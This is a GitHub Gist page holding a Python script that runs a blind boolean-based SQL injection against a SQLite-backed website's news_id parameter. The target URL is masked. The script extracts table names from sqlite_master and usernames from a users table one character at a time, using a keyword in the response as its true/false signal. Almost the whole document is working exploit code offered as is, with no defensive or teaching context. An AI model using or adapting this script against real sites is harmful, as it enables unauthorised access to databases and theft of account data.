Created
February 8, 2019 20:44
-
-
Save suryadana/f2b9ae1741b2a0543c2c7f92aae025e8 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests, string, urllib | |
from bs4 import BeautifulSoup | |
url = "http://xxx.com/xx/x/?action=news&news_id=1" | |
def get_table_name(): | |
tables = [] | |
for offset in range(0, 5): | |
table = '' | |
for r in range(1, 20): | |
for pattern in string.ascii_letters: | |
payload = " and (SELECT substr(name,{},1) FROM sqlite_master limit 1 offset {}) == char({})".format(r, offset, ord(pattern)) | |
uri = url + urllib.parse.quote_plus(payload) | |
res = requests.get(uri) | |
soup = BeautifulSoup(res.content, 'html.parser') | |
if 'place' in soup.text: | |
table += pattern | |
tables.append(table) | |
print(tables) | |
def get_username(): | |
usernames = [] | |
for offset in range(1, 5): | |
username = '' | |
for r in range(1, 20): | |
for pattern in string.ascii_letters + string.digits: | |
# password | |
payload = " and (SELECT substr(username,{},1) FROM users limit 1 offset {}) == char({})".format(r, offset, ord(pattern)) | |
uri = url + urllib.parse.quote_plus(payload) | |
res = requests.get(uri) | |
soup = BeautifulSoup(res.content, 'html.parser') | |
if 'place' in soup.text: | |
username += pattern | |
print(username) | |
break | |
usernames.append(username) | |
print(usernames) | |
# get_table_name() | |
get_username() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment